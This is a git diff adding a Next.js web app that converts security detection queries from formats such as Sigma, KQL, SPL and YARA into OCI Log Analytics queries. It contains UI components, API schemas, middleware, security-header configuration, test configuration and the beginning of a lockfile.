b/observability-and-management/assets/oci-log-analytics-detections/webapp/components.json @@ -0,0 +1,21 @@ +{ + "$schema": "https://ui.shadcn.com/schema.json", + "style": "default", + "rsc": true, + "tsx": true, + "tailwind": { + "config": "tailwind.config.ts", + "css": "app/globals.css", + "baseColor": "neutral", + "cssVariables": true, + "prefix": "" + }, + "aliases": { + "components": "@/components", + "utils": "@/lib/utils", + "ui": "@/components/ui", + "lib": "@/lib", + "hooks": "@/hooks" + }, + "iconLibrary": "lucide" +} diff --git a/observability-and-management/assets/oci-log-analytics-detections/webapp/components/app-sidebar.tsx b/observability-and-management/assets/oci-log-analytics-detections/webapp/components/app-sidebar.tsx new file mode 100644 index 000000000..0da036448 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/webapp/components/app-sidebar.tsx @@ -0,0 +1,88 @@ +"use client" + +import Image from "next/image" +import Link from "next/link" +import { usePathname } from "next/navigation" +import { + ExternalLink, + Github, + Hammer, + HeartPulse, +} from "lucide-react" + +import { + Sidebar, + SidebarContent, + SidebarFooter, + SidebarHeader, + SidebarMenuItem, + SidebarMenuButton, + SidebarRail, +} from "@/components/ui/sidebar" +import { publicAssetPath } from "@/lib/public-assets" + +const repositoryUrl = "https://github.com/adibirzu/oci-log-analytics-detections" + +export function AppSidebar() { + const pathname = usePathname() + const isActive = (path: string) => pathname === path + + const menus = [ + { + title: "Forge", + icon: Hammer, + href: "/forge", + }, + ] + + return ( + + + + OCTO + OCL Forge + + + + {menus.map((menu) => ( + + + + + {menu.title} + + + + ))} + + + + + Repository + + + + + + +
+
+ +
+

OCI LA Scope

+

Queries and dashboards

+
+
+
+ + + + ) +} diff --git a/observability-and-management/assets/oci-log-analytics-detections/webapp/components/dashboard-header.tsx b/observability-and-management/assets/oci-log-analytics-detections/webapp/components/dashboard-header.tsx new file mode 100644 index 000000000..82fa3f5b1 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/webapp/components/dashboard-header.tsx @@ -0,0 +1,58 @@ +"use client" + +import Image from "next/image" +import { ChevronsLeft, ChevronsRight, Github, LayoutGrid } from "lucide-react" + +import { Button } from "@/components/ui/button" +import { Tooltip, TooltipContent, TooltipProvider, TooltipTrigger } from "@/components/ui/tooltip" +import { useSidebar } from "@/components/ui/sidebar" +import { publicAssetPath } from "@/lib/public-assets" + +const repositoryUrl = "https://github.com/adibirzu/oci-log-analytics-detections" + +export function DashboardHeader() { + const { toggleSidebar, state } = useSidebar() + + return ( +
+
+ OCTO + + + + + + Toggle Sidebar + + + + + + {state === "expanded" ? "Collapse Sidebar" : "Expand Sidebar"} + + +
+ +
+
+
+
Forge
+
Detection conversion console
+
+
+
+ +
+ ) +} diff --git a/observability-and-management/assets/oci-log-analytics-detections/webapp/components/theme-provider.tsx b/observability-and-management/assets/oci-log-analytics-detections/webapp/components/theme-provider.tsx new file mode 100644 index 000000000..55c2f6eb6 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/webapp/components/theme-provider.tsx @@ -0,0 +1,11 @@ +'use client' + +import * as React from 'react' +import { + ThemeProvider as NextThemesProvider, + type ThemeProviderProps, +} from 'next-themes' + +export function ThemeProvider({ children, ...props }: ThemeProviderProps) { + return {children} +} diff --git a/observability-and-management/assets/oci-log-analytics-detections/webapp/eslint.config.mjs b/observability-and-management/assets/oci-log-analytics-detections/webapp/eslint.config.mjs new file mode 100644 index 000000000..547ecaf77 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/webapp/eslint.config.mjs @@ -0,0 +1,25 @@ +import { FlatCompat } from "@eslint/eslintrc" +import { dirname } from "path" +import { fileURLToPath } from "url" + +const __filename = fileURLToPath(import.meta.url) +const __dirname = dirname(__filename) + +const compat = new FlatCompat({ + baseDirectory: __dirname, +}) + +const eslintConfig = [ + { + ignores: [ + ".next/**", + "build/**", + "next-env.d.ts", + "node_modules/**", + "out/**", + ], + }, + ...compat.extends("next/core-web-vitals", "next/typescript"), +] + +export default eslintConfig diff --git a/observability-and-management/assets/oci-log-analytics-detections/webapp/hooks/use-mobile.tsx b/observability-and-management/assets/oci-log-analytics-detections/webapp/hooks/use-mobile.tsx new file mode 100644 index 000000000..ec974da14 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/webapp/hooks/use-mobile.tsx @@ -0,0 +1,22 @@ +"use client" + +import * as React from "react" + +export function useIsMobile(breakpoint = 768) { + const [isMobile, setIsMobile] = React.useState(false) + + React.useEffect(() => { + const handleResize = () => { + setIsMobile(window.innerWidth < breakpoint) + } + + handleResize() + window.addEventListener("resize", handleResize) + + return () => { + window.removeEventListener("resize", handleResize) + } + }, [breakpoint]) + + return isMobile +} diff --git a/observability-and-management/assets/oci-log-analytics-detections/webapp/hooks/use-toast.ts b/observability-and-management/assets/oci-log-analytics-detections/webapp/hooks/use-toast.ts new file mode 100644 index 000000000..4218b0495 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/webapp/hooks/use-toast.ts @@ -0,0 +1,192 @@ +"use client" + +// Inspired by react-hot-toast library +import * as React from "react" + +import type { + ToastActionElement, + ToastProps, +} from "@/components/ui/toast" + +const TOAST_LIMIT = 1 +const TOAST_REMOVE_DELAY = 1000000 + +type ToasterToast = ToastProps & { + id: string + title?: React.ReactNode + description?: React.ReactNode + action?: ToastActionElement +} + +let count = 0 + +function genId() { + count = (count + 1) % Number.MAX_SAFE_INTEGER + return count.toString() +} + +type ActionType = { + ADD_TOAST: "ADD_TOAST" + UPDATE_TOAST: "UPDATE_TOAST" + DISMISS_TOAST: "DISMISS_TOAST" + REMOVE_TOAST: "REMOVE_TOAST" +} + +type Action = + | { + type: ActionType["ADD_TOAST"] + toast: ToasterToast + } + | { + type: ActionType["UPDATE_TOAST"] + toast: Partial + } + | { + type: ActionType["DISMISS_TOAST"] + toastId?: ToasterToast["id"] + } + | { + type: ActionType["REMOVE_TOAST"] + toastId?: ToasterToast["id"] + } + +interface State { + toasts: ToasterToast[] +} + +const toastTimeouts = new Map>() + +const addToRemoveQueue = (toastId: string) => { + if (toastTimeouts.has(toastId)) { + return + } + + const timeout = setTimeout(() => { + toastTimeouts.delete(toastId) + dispatch({ + type: "REMOVE_TOAST", + toastId: toastId, + }) + }, TOAST_REMOVE_DELAY) + + toastTimeouts.set(toastId, timeout) +} + +export const reducer = (state: State, action: Action): State => { + switch (action.type) { + case "ADD_TOAST": + return { + ...state, + toasts: [action.toast, ...state.toasts].slice(0, TOAST_LIMIT), + } + + case "UPDATE_TOAST": + return { + ...state, + toasts: state.toasts.map((t) => + t.id === action.toast.id ? { ...t, ...action.toast } : t + ), + } + + case "DISMISS_TOAST": { + const { toastId } = action + + // ! Side effects ! - This could be extracted into a dismissToast() action, + // but I'll keep it here for simplicity + if (toastId) { + addToRemoveQueue(toastId) + } else { + state.toasts.forEach((toast) => { + addToRemoveQueue(toast.id) + }) + } + + return { + ...state, + toasts: state.toasts.map((t) => + t.id === toastId || toastId === undefined + ? { + ...t, + open: false, + } + : t + ), + } + } + case "REMOVE_TOAST": + if (action.toastId === undefined) { + return { + ...state, + toasts: [], + } + } + return { + ...state, + toasts: state.toasts.filter((t) => t.id !== action.toastId), + } + } +} + +const listeners: Array<(state: State) => void> = [] + +let memoryState: State = { toasts: [] } + +function dispatch(action: Action) { + memoryState = reducer(memoryState, action) + listeners.forEach((listener) => { + listener(memoryState) + }) +} + +type Toast = Omit + +function toast({ ...props }: Toast) { + const id = genId() + + const update = (props: ToasterToast) => + dispatch({ + type: "UPDATE_TOAST", + toast: { ...props, id }, + }) + const dismiss = () => dispatch({ type: "DISMISS_TOAST", toastId: id }) + + dispatch({ + type: "ADD_TOAST", + toast: { + ...props, + id, + open: true, + onOpenChange: (open) => { + if (!open) dismiss() + }, + }, + }) + + return { + id: id, + dismiss, + update, + } +} + +function useToast() { + const [state, setState] = React.useState(memoryState) + + React.useEffect(() => { + listeners.push(setState) + return () => { + const index = listeners.indexOf(setState) + if (index > -1) { + listeners.splice(index, 1) + } + } + }, [state]) + + return { + ...state, + toast, + dismiss: (toastId?: string) => dispatch({ type: "DISMISS_TOAST", toastId }), + } +} + +export { useToast, toast } diff --git a/observability-and-management/assets/oci-log-analytics-detections/webapp/lib/api-contracts.ts b/observability-and-management/assets/oci-log-analytics-detections/webapp/lib/api-contracts.ts new file mode 100644 index 000000000..06a477718 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/webapp/lib/api-contracts.ts @@ -0,0 +1,167 @@ +/** + * Forge API contract — canonical Zod schemas and inferred TypeScript types for + * every request/response crossing the `webapp/app/api/forge/*` and + * `webapp/app/api/health` boundaries. + * + * Rules: + * - No `import "server-only"` — this file must be safe to import from client + * components (for type-only imports) as well as server-side routes. + * - All schemas are the single source of truth; interfaces in other files must + * be derived from (or replaced by) these schemas. + * - No real OCIDs, IPs, credentials, or tenancy-specific values. + */ + +import { z } from "zod" + +// ── Shared primitive schemas ───────────────────────────────────────────────── + +/** + * All source languages the Forge conversion endpoint accepts. + * Keep in sync with `scripts/logan_workbench_convert.py`. + */ +export const sourceLanguageSchema = z.enum([ + "sigma_yaml", + "sentinel_kql", + "splunk_spl", + "elastic_lucene", + "elastic_kuery", + "elastic_eql", + "elastic_esql", + "elastic_toml", + "osquery_sql", + "yara", + "oci_logan", +]) +export type SourceLanguage = z.infer + +/** Fidelity of a query conversion result. */ +export const supportLevelSchema = z.enum(["supported", "partial", "lossy", "unsupported"]) +export type SupportLevel = z.infer + +// ── /api/forge/convert ─────────────────────────────────────────────────────── + +/** Maximum allowed source-query length (characters). */ +export const MAX_QUERY_CHARS = 20_000 + +/** + * Request body schema for POST /api/forge/convert. + * Uses `.strict()` so any unknown key is a validation error. + */ +export const conversionRequestSchema = z + .object({ + sourceLanguage: sourceLanguageSchema, + sourceQuery: z.string().min(1).max(MAX_QUERY_CHARS), + readOnly: z.boolean().optional().default(true), + exampleId: z.string().max(160).optional(), + }) + .strict() + +export type ConversionRequest = z.infer + +/** A single warning emitted by the conversion backend. */ +export const conversionWarningSchema = z.object({ + code: z.string(), + message: z.string(), + severity: z.enum(["info", "warning", "error"]), +}) +export type ConversionWarning = z.infer + +/** + * Schema for the conversion response. Used by: + * - `convert/route.ts` to parse the raw backend response (Python script or + * remote API gateway) and to validate the public response before sending. + * - `forge-workbench-data.ts` to type the in-component state. + * - `forge.spec.ts` for API assertion types. + * + * `.passthrough()` is intentional: the Python backend may include extra fields + * (e.g. debug keys) that we preserve without strict rejection. + */ +export const conversionResponseSchema = z + .object({ + schema_version: z.literal("1.0.0"), + generated_at: z.string(), + source_language: z.string().optional(), + source_query: z.string().optional(), + logan_query: z.string(), + support_level: supportLevelSchema, + explanation: z.string(), + warnings: z.array(conversionWarningSchema), + metadata: z.record(z.unknown()), + backend: z.string(), + }) + .passthrough() + +export type ConversionResponse = z.infer + +// ── /api/forge/session ─────────────────────────────────────────────────────── + +/** Response schema for GET /api/forge/session. */ +export const sessionResponseSchema = z.object({ + csrfToken: z.string().min(32), + expiresInSeconds: z.number().int().positive(), + rateLimit: z.object({ + limit: z.number().int().positive(), + windowSeconds: z.number().int().positive(), + }), +}) +export type SessionResponse = z.infer + +// ── /api/health ────────────────────────────────────────────────────────────── + +/** Response schema for GET /api/health. */ +export const healthResponseSchema = z.object({ + ok: z.literal(true), + service: z.string(), + version: z.string(), +}) +export type HealthResponse = z.infer + +// ── /api/forge/artifacts ───────────────────────────────────────────────────── + +/** + * Key identifiers for each workbench artifact file. + * Must match the keys used in `lib/logan-workbench-artifacts.ts`. + */ +export const artifactKeySchema = z.enum([ + "referenceCatalog", + "mappingPatterns", + "conversionExamples", + "capabilityMatrix", +]) +export type ArtifactKey = z.infer + +/** Read status for a single workbench artifact file. */ +export const artifactStatusSchema = z.object({ + key: artifactKeySchema, + label: z.string(), + relativePath: z.string(), + ok: z.boolean(), + error: z.string().optional(), +}) +export type ArtifactStatus = z.infer + +/** + * Response schema for GET /api/forge/artifacts. + * + * Returns lightweight metadata about the repo-generated workbench artifacts: + * availability, validation status, generation timestamp, and item counts. + * The full artifact arrays (examples, patterns, commands) are served to the + * Forge page via server-side rendering, not through this route. + */ +export const artifactsResponseSchema = z.object({ + generatedAt: z.string().nullable(), + errors: z.array(z.string()), + statuses: z.array(artifactStatusSchema), + examplesCount: z.number().int().nonnegative(), + patternsCount: z.number().int().nonnegative(), + commandsCount: z.number().int().nonnegative(), +}) +export type ArtifactsResponse = z.infer + +// ── Shared error response ──────────────────────────────────────────────────── + +/** Standard error envelope returned by all Forge API routes on failure. */ +export const apiErrorResponseSchema = z.object({ + error: z.string(), +}) +export type ApiErrorResponse = z.infer diff --git a/observability-and-management/assets/oci-log-analytics-detections/webapp/lib/logan-workbench-artifacts.ts b/observability-and-management/assets/oci-log-analytics-detections/webapp/lib/logan-workbench-artifacts.ts new file mode 100644 index 000000000..5e6e0d5a6 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/webapp/lib/logan-workbench-artifacts.ts @@ -0,0 +1,216 @@ +import "server-only" + +import path from "node:path" +import { readFile } from "node:fs/promises" +import { cache } from "react" +import { z } from "zod" + +const detectionsRepoPath = process.env.LOGAN_DETECTIONS_REPO + ? path.resolve(process.env.LOGAN_DETECTIONS_REPO) + : path.resolve(process.cwd(), "..") + +const supportLevelSchema = z.enum(["supported", "partial", "lossy", "unsupported"]) +const sourceLanguageSchema = z.enum([ + "sigma_yaml", + "sentinel_kql", + "splunk_spl", + "elastic_lucene", + "elastic_kuery", + "elastic_eql", + "elastic_esql", + "elastic_toml", + "osquery_sql", + "yara", + "oci_logan", +]) + +const commandSchema = z + .object({ + name: z.string(), + category: z.string(), + source_url: z.string().url(), + source_title: z.string().optional().default("OCI Log Analytics"), + retrieved_at: z.string(), + summary: z.string(), + syntax: z.string(), + examples: z.array(z.string()).optional().default([]), + notes: z.array(z.string()).optional().default([]), + provenance: z.record(z.unknown()).optional().default({}), + }) + .passthrough() + +const referenceCatalogSchema = z + .object({ + schema_version: z.literal("1.0.0"), + generated_at: z.string(), + sources: z.array(z.string().url()), + required_commands: z.array(z.string()), + commands: z.array(commandSchema), + }) + .passthrough() + +const mappingPatternSchema = z.object({ + id: z.string(), + source_language: z.string(), + source_construct: z.string(), + oci_mapping: z.string(), + support_level: supportLevelSchema, + logan_commands: z.array(z.string()), + warning_behavior: z.string(), + example_ids: z.array(z.string()), +}) + +const mappingPatternsSchema = z.object({ + schema_version: z.literal("1.0.0"), + generated_at: z.string(), + patterns: z.array(mappingPatternSchema), +}) + +const conversionExampleSchema = z.object({ + id: z.string(), + title: z.string(), + source_language: sourceLanguageSchema, + source_query: z.string(), + expected_logan_ql: z.string(), + explanation: z.string(), + warnings: z.array(z.string()).optional().default([]), + support_level: supportLevelSchema, + synthetic_log_shape: z.string(), + pattern_ids: z.array(z.string()), +}) + +const conversionExamplesSchema = z.object({ + schema_version: z.literal("1.0.0"), + generated_at: z.string(), + examples: z.array(conversionExampleSchema), +}) + +const capabilityMatrixSchema = z + .object({ + schema_version: z.literal("1.0.0"), + generated_at: z.string(), + generated_by: z.string(), + content_policy: z.record(z.unknown()), + source_capabilities: z.array( + z.object({ + language: z.string(), + label: z.string(), + status: z.string(), + backend_entrypoint: z.string(), + conversion_path: z.string(), + next_capabilities: z.array(z.string()).optional().default([]), + }), + ), + target_language: z.record(z.unknown()), + third_party_corpora: z.array(z.record(z.unknown())).optional().default([]), + }) + .passthrough() + +export type LoganCommand = z.infer +export type LoganMappingPattern = z.infer +export type LoganConversionExample = z.infer +export type LoganCapabilityMatrix = z.infer +export type LoganSourceLanguage = z.infer + +type WorkbenchArtifactKey = "referenceCatalog" | "mappingPatterns" | "conversionExamples" | "capabilityMatrix" + +export interface WorkbenchArtifactReadStatus { + key: WorkbenchArtifactKey + label: string + relativePath: string + ok: boolean + error?: string +} + +interface WorkbenchArtifactReadResult { + status: WorkbenchArtifactReadStatus + data: T | null +} + +export interface LoganWorkbenchArtifacts { + detectionsRepoPath: string + commands: LoganCommand[] + patterns: LoganMappingPattern[] + examples: LoganConversionExample[] + capabilityMatrix: LoganCapabilityMatrix | null + statuses: WorkbenchArtifactReadStatus[] + errors: string[] + generatedAt: string | null +} + +async function readJsonArtifact( + key: WorkbenchArtifactKey, + label: string, + relativePath: string, + schema: TSchema, +): Promise>> { + const absolutePath = path.join(detectionsRepoPath, relativePath) + + try { + const fileContents = await readFile(absolutePath, "utf8") + const parsed = schema.parse(JSON.parse(fileContents)) + return { + status: { key, label, relativePath, ok: true }, + data: parsed, + } + } catch (error) { + return { + status: { + key, + label, + relativePath, + ok: false, + error: error instanceof z.ZodError ? "Artifact schema validation failed." : "Artifact is unavailable.", + }, + data: null, + } + } +} + +export const getLoganWorkbenchArtifacts = cache(async (): Promise => { + const [referenceCatalog, mappingPatterns, conversionExamples, capabilityMatrix] = await Promise.all([ + readJsonArtifact( + "referenceCatalog", + "Logan QL command reference", + "queries/logan_ql_reference_catalog.json", + referenceCatalogSchema, + ), + readJsonArtifact( + "mappingPatterns", + "Cross-QL mapping patterns", + "queries/cross_ql_mapping_patterns.json", + mappingPatternsSchema, + ), + readJsonArtifact( + "conversionExamples", + "Conversion examples", + "queries/conversion_examples.json", + conversionExamplesSchema, + ), + readJsonArtifact( + "capabilityMatrix", + "QL conversion capability matrix", + "queries/ql_conversion_capability_matrix.json", + capabilityMatrixSchema, + ), + ]) + + const statuses = [referenceCatalog.status, mappingPatterns.status, conversionExamples.status, capabilityMatrix.status] + const generatedAt = + conversionExamples.data?.generated_at ?? + mappingPatterns.data?.generated_at ?? + referenceCatalog.data?.generated_at ?? + capabilityMatrix.data?.generated_at ?? + null + + return { + detectionsRepoPath: "bundled artifact source", + commands: referenceCatalog.data?.commands ?? [], + patterns: mappingPatterns.data?.patterns ?? [], + examples: conversionExamples.data?.examples ?? [], + capabilityMatrix: capabilityMatrix.data, + statuses, + errors: statuses.filter((status) => !status.ok).map((status) => `${status.label}: ${status.error}`), + generatedAt, + } +}) diff --git a/observability-and-management/assets/oci-log-analytics-detections/webapp/lib/public-assets.ts b/observability-and-management/assets/oci-log-analytics-detections/webapp/lib/public-assets.ts new file mode 100644 index 000000000..4a87a90f7 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/webapp/lib/public-assets.ts @@ -0,0 +1,5 @@ +const basePath = process.env.NEXT_PUBLIC_FORGE_BASE_PATH || "" + +export function publicAssetPath(path: string) { + return `${basePath}${path.startsWith("/") ? path : `/${path}`}` +} diff --git a/observability-and-management/assets/oci-log-analytics-detections/webapp/lib/utils.ts b/observability-and-management/assets/oci-log-analytics-detections/webapp/lib/utils.ts new file mode 100644 index 000000000..bd0c391dd --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/webapp/lib/utils.ts @@ -0,0 +1,6 @@ +import { clsx, type ClassValue } from "clsx" +import { twMerge } from "tailwind-merge" + +export function cn(...inputs: ClassValue[]) { + return twMerge(clsx(inputs)) +} diff --git a/observability-and-management/assets/oci-log-analytics-detections/webapp/middleware.ts b/observability-and-management/assets/oci-log-analytics-detections/webapp/middleware.ts new file mode 100644 index 000000000..9e0ce1ffd --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/webapp/middleware.ts @@ -0,0 +1,27 @@ +import { NextRequest, NextResponse } from "next/server" + +const allowedExactPaths = new Set(["/forge", "/api/health", "/favicon.ico", "/robots.txt", "/octo-logo.png", "/octo-icon.png"]) +const allowedPrefixes = ["/api/forge/", "/_next/"] + +function isAllowedPath(pathname: string) { + return allowedExactPaths.has(pathname) || allowedPrefixes.some((prefix) => pathname.startsWith(prefix)) +} + +export function middleware(request: NextRequest) { + const { pathname } = request.nextUrl + + if (isAllowedPath(pathname)) { + return NextResponse.next() + } + + const acceptsHtml = request.headers.get("accept")?.includes("text/html") ?? false + if (pathname === "/" || acceptsHtml) { + return NextResponse.redirect(new URL("/forge", request.url)) + } + + return new NextResponse("Not found", { status: 404 }) +} + +export const config = { + matcher: ["/((?!api/health$|api/forge/|_next/|favicon.ico|robots.txt|octo-logo.png|octo-icon.png).*)"], +} diff --git a/observability-and-management/assets/oci-log-analytics-detections/webapp/next-env.d.ts b/observability-and-management/assets/oci-log-analytics-detections/webapp/next-env.d.ts new file mode 100644 index 000000000..830fb594c --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/webapp/next-env.d.ts @@ -0,0 +1,6 @@ +/// +/// +/// + +// NOTE: This file should not be edited +// see https://nextjs.org/docs/app/api-reference/config/typescript for more information. diff --git a/observability-and-management/assets/oci-log-analytics-detections/webapp/next.config.mjs b/observability-and-management/assets/oci-log-analytics-detections/webapp/next.config.mjs new file mode 100644 index 000000000..7ce20c2e4 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/webapp/next.config.mjs @@ -0,0 +1,50 @@ +import { dirname } from "node:path" +import { fileURLToPath } from "node:url" + +const appDir = dirname(fileURLToPath(import.meta.url)) +const staticExport = process.env.NEXT_PUBLIC_FORGE_STATIC_EXPORT === "1" || process.env.FORGE_STATIC_EXPORT === "1" +const basePath = process.env.NEXT_PUBLIC_FORGE_BASE_PATH || "" + +/** @type {import('next').NextConfig} */ +const nextConfig = { + output: staticExport ? "export" : "standalone", + outputFileTracingRoot: appDir, + ...(basePath ? { basePath, assetPrefix: basePath } : {}), + ...(staticExport ? { trailingSlash: true } : {}), + images: { + unoptimized: true, + }, + ...(!staticExport + ? { + async headers() { + const csp = [ + "default-src 'self'", + "base-uri 'self'", + "frame-ancestors 'none'", + "object-src 'none'", + "img-src 'self' data:", + "font-src 'self' data:", + "style-src 'self' 'unsafe-inline'", + "script-src 'self' 'unsafe-inline' 'unsafe-eval'", + "connect-src 'self'", + "form-action 'self'", + ].join("; ") + + return [ + { + source: "/:path*", + headers: [ + { key: "Content-Security-Policy", value: csp }, + { key: "Referrer-Policy", value: "strict-origin-when-cross-origin" }, + { key: "X-Content-Type-Options", value: "nosniff" }, + { key: "X-Frame-Options", value: "DENY" }, + { key: "Permissions-Policy", value: "camera=(), microphone=(), geolocation=()" }, + ], + }, + ] + }, + } + : {}), +} + +export default nextConfig diff --git a/observability-and-management/assets/oci-log-analytics-detections/webapp/package.json b/observability-and-management/assets/oci-log-analytics-detections/webapp/package.json new file mode 100644 index 000000000..eeba94261 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/webapp/package.json @@ -0,0 +1,53 @@ +{ + "name": "oci-log-analytics-detections-webapp", + "version": "0.1.0", + "private": true, + "packageManager": "pnpm@10.26.1", + "scripts": { + "build": "next build", + "build:pages": "node scripts/build-github-pages.mjs", + "dev": "next dev", + "e2e": "playwright test", + "e2e:headed": "playwright test --headed", + "lint": "eslint .", + "start": "next start", + "typecheck": "tsc --noEmit" + }, + "dependencies": { + "@radix-ui/react-dialog": "latest", + "@radix-ui/react-separator": "latest", + "@radix-ui/react-slot": "latest", + "@radix-ui/react-switch": "latest", + "@radix-ui/react-toast": "latest", + "@radix-ui/react-tooltip": "latest", + "class-variance-authority": "^0.7.1", + "clsx": "^2.1.1", + "lucide-react": "^0.454.0", + "next": "15.5.18", + "next-themes": "latest", + "react": "^19", + "react-dom": "^19", + "tailwind-merge": "^2.5.5", + "tailwindcss-animate": "^1.0.7", + "zod": "^3.24.1" + }, + "devDependencies": { + "@eslint/eslintrc": "^3.3.5", + "@playwright/test": "^1.60.0", + "@types/node": "^22", + "@types/react": "^19", + "@types/react-dom": "^19", + "autoprefixer": "^10.4.20", + "eslint": "^9.39.4", + "eslint-config-next": "15.5.18", + "postcss": "^8.5.14", + "tailwindcss": "^3.4.19", + "typescript": "^5" + }, + "pnpm": { + "overrides": { + "yaml": "^2.8.3", + "postcss": "^8.5.14" + } + } +} diff --git a/observability-and-management/assets/oci-log-analytics-detections/webapp/playwright.config.ts b/observability-and-management/assets/oci-log-analytics-detections/webapp/playwright.config.ts new file mode 100644 index 000000000..761a87366 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/webapp/playwright.config.ts @@ -0,0 +1,53 @@ +import path from "node:path" +import { defineConfig, devices } from "@playwright/test" + +const port = Number(process.env.PLAYWRIGHT_PORT ?? 3012) +const baseURL = process.env.PLAYWRIGHT_BASE_URL ?? `http://127.0.0.1:${port}` +const repoRoot = path.resolve(__dirname, "..") +const trustedInternalHosts = "logan-forge-lb.logan-forge.svc,logan-forge-lb.logan-forge.svc.cluster.local" + +export default defineConfig({ + testDir: "./tests/e2e", + fullyParallel: false, + forbidOnly: !!process.env.CI, + retries: process.env.CI ? 2 : 0, + workers: 1, + reporter: [["list"], ["html", { outputFolder: "playwright-report", open: "never" }]], + use: { + baseURL, + trace: "on-first-retry", + screenshot: "only-on-failure", + video: "retain-on-failure", + actionTimeout: 10_000, + navigationTimeout: 30_000, + }, + projects: [ + { + name: "chromium", + use: { ...devices["Desktop Chrome"] }, + }, + ], + webServer: process.env.PLAYWRIGHT_BASE_URL + ? undefined + : { + command: `pnpm exec next dev --hostname 127.0.0.1 --port ${port}`, + url: baseURL, + reuseExistingServer: !process.env.CI, + timeout: 120_000, + env: { + LOGAN_DETECTIONS_REPO: repoRoot, + FORGE_TRUSTED_INTERNAL_HOSTS: trustedInternalHosts, + // Exercise the production-like "one trusted reverse proxy" mode so the + // rate-limit test verifies the right-anchored X-Forwarded-For keying. + FORGE_TRUSTED_PROXY_HOPS: "1", + FORGE_ALLOWED_ORIGINS: [ + `http://127.0.0.1:${port}`, + `http://localhost:${port}`, + "https://convert.octodemo.cloud", + "https://forge.octodemo.cloud", + "http://logan-forge-lb.logan-forge.svc", + "http://logan-forge-lb.logan-forge.svc.cluster.local", + ].join(","), + }, + }, +}) diff --git a/observability-and-management/assets/oci-log-analytics-detections/webapp/pnpm-lock.yaml b/observability-and-management/assets/oci-log-analytics-detections/webapp/pnpm-lock.yaml new file mode 100644 index 000000000..12b5bf995 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/webapp/pnpm-lock.yaml @@ -0,0 +1,4692 @@ +lockfileVersion: '9.0' + +settings: + autoInstallPeers: true + excludeLinksFromLockfile: false + +overrides: + yaml: ^2.8.3 + postcss: ^8.5.14 + +importers: + + .: + dependencies: + '@radix-ui/react-dialog': + specifier: latest + version: 1.1.15(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0) + '@radix-ui/react-separator': + specifier: latest + version: 1.1.8(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0) + '@radix-ui/react-slot': + specifier: latest + version: 1.2.4(@types/react@19.0.0)(react@19.0.0) + '@radix-ui/react-switch': + specifier: latest + version: 1.2.6(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0) + '@radix-ui/react-toast': + specifier: latest + version: 1.2.15(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0) + '@radix-ui/react-tooltip': + specifier: latest + version: 1.2.8(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0) + class-variance-authority: + specifier: ^0.7.1 + version: 0.7.1 + clsx: + specifier: ^2.1.1 + version: 2.1.1 + lucide-react: + specifier: ^0.454.0 + version: 0.454.0(react@19.0.0) + next: + specifier: 15.5.18 + version: 15.5.18(@playwright/test@1.60.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0) + next-themes: + specifier: latest + version: 0.4.6(react-dom@19.0.0(react@19.0.0))(react@19.0.0) + react: + specifier: ^19 + version: 19.0.0 + react-dom: + specifier: ^19 + version: 19.0.0(react@19.0.0) + tailwind-merge: + specifier: ^2.5.5 + version: 2.5.5 + tailwindcss-animate: + specifier: ^1.0.7 + version: 1.0.7(tailwindcss@3.4.19) + zod: + specifier: ^3.24.1 + version: 3.24.1 + devDependencies: + '@eslint/eslintrc': + specifier: ^3.3.5 + version: 3.3.5 + '@playwright/test': + specifier: ^1.60.0 + version: 1.60.0 + '@types/node': + specifier: ^22 + version: 22.0.0 + '@types/react': + specifier: ^19 + version: 19.0.0 + '@types/react-dom': + specifier: ^19 + version: 19.0.0 + autoprefixer: + specifier: ^10.4.20 + version: 10.4.20(postcss@8.5.14) + eslint: + specifier: ^9.39.4 + version: 9.39.4(jiti@1.21.7) + eslint-config-next: + specifier: 15.5.18 + version: 15.5.18(eslint@9.39.4(jiti@1.21.7))(typescript@5.0.2) + postcss: + specifier: ^8.5.14 + version: 8.5.14 + tailwindcss: + specifier: ^3.4.19 + version: 3.4.19 + typescript: + specifier: ^5 + version: 5.0.2 + +packages: + + '@alloc/quick-lru@5.2.0': + resolution: {integrity: sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==} + engines: {node: '>=10'} + + '@emnapi/core@1.10.0': + resolution: {integrity: sha512-yq6OkJ4p82CAfPl0u9mQebQHKPJkY7WrIuk205cTYnYe+k2Z8YBh11FrbRG/H6ihirqcacOgl2BIO8oyMQLeXw==} + + '@emnapi/runtime@1.10.0': + resolution: {integrity: sha512-ewvYlk86xUoGI0zQRNq/mC+16R1QeDlKQy21Ki3oSYXNgLb45GV1P6A0M+/s6nyCuNDqe5VpaY84BzXGwVbwFA==} + + '@emnapi/wasi-threads@1.2.1': + resolution: {integrity: sha512-uTII7OYF+/Mes/MrcIOYp5yOtSMLBWSIoLPpcgwipoiKbli6k322tcoFsxoIIxPDqW01SQGAgko4EzZi2BNv2w==} + + '@eslint-community/eslint-utils@4.9.1': + resolution: {integrity: 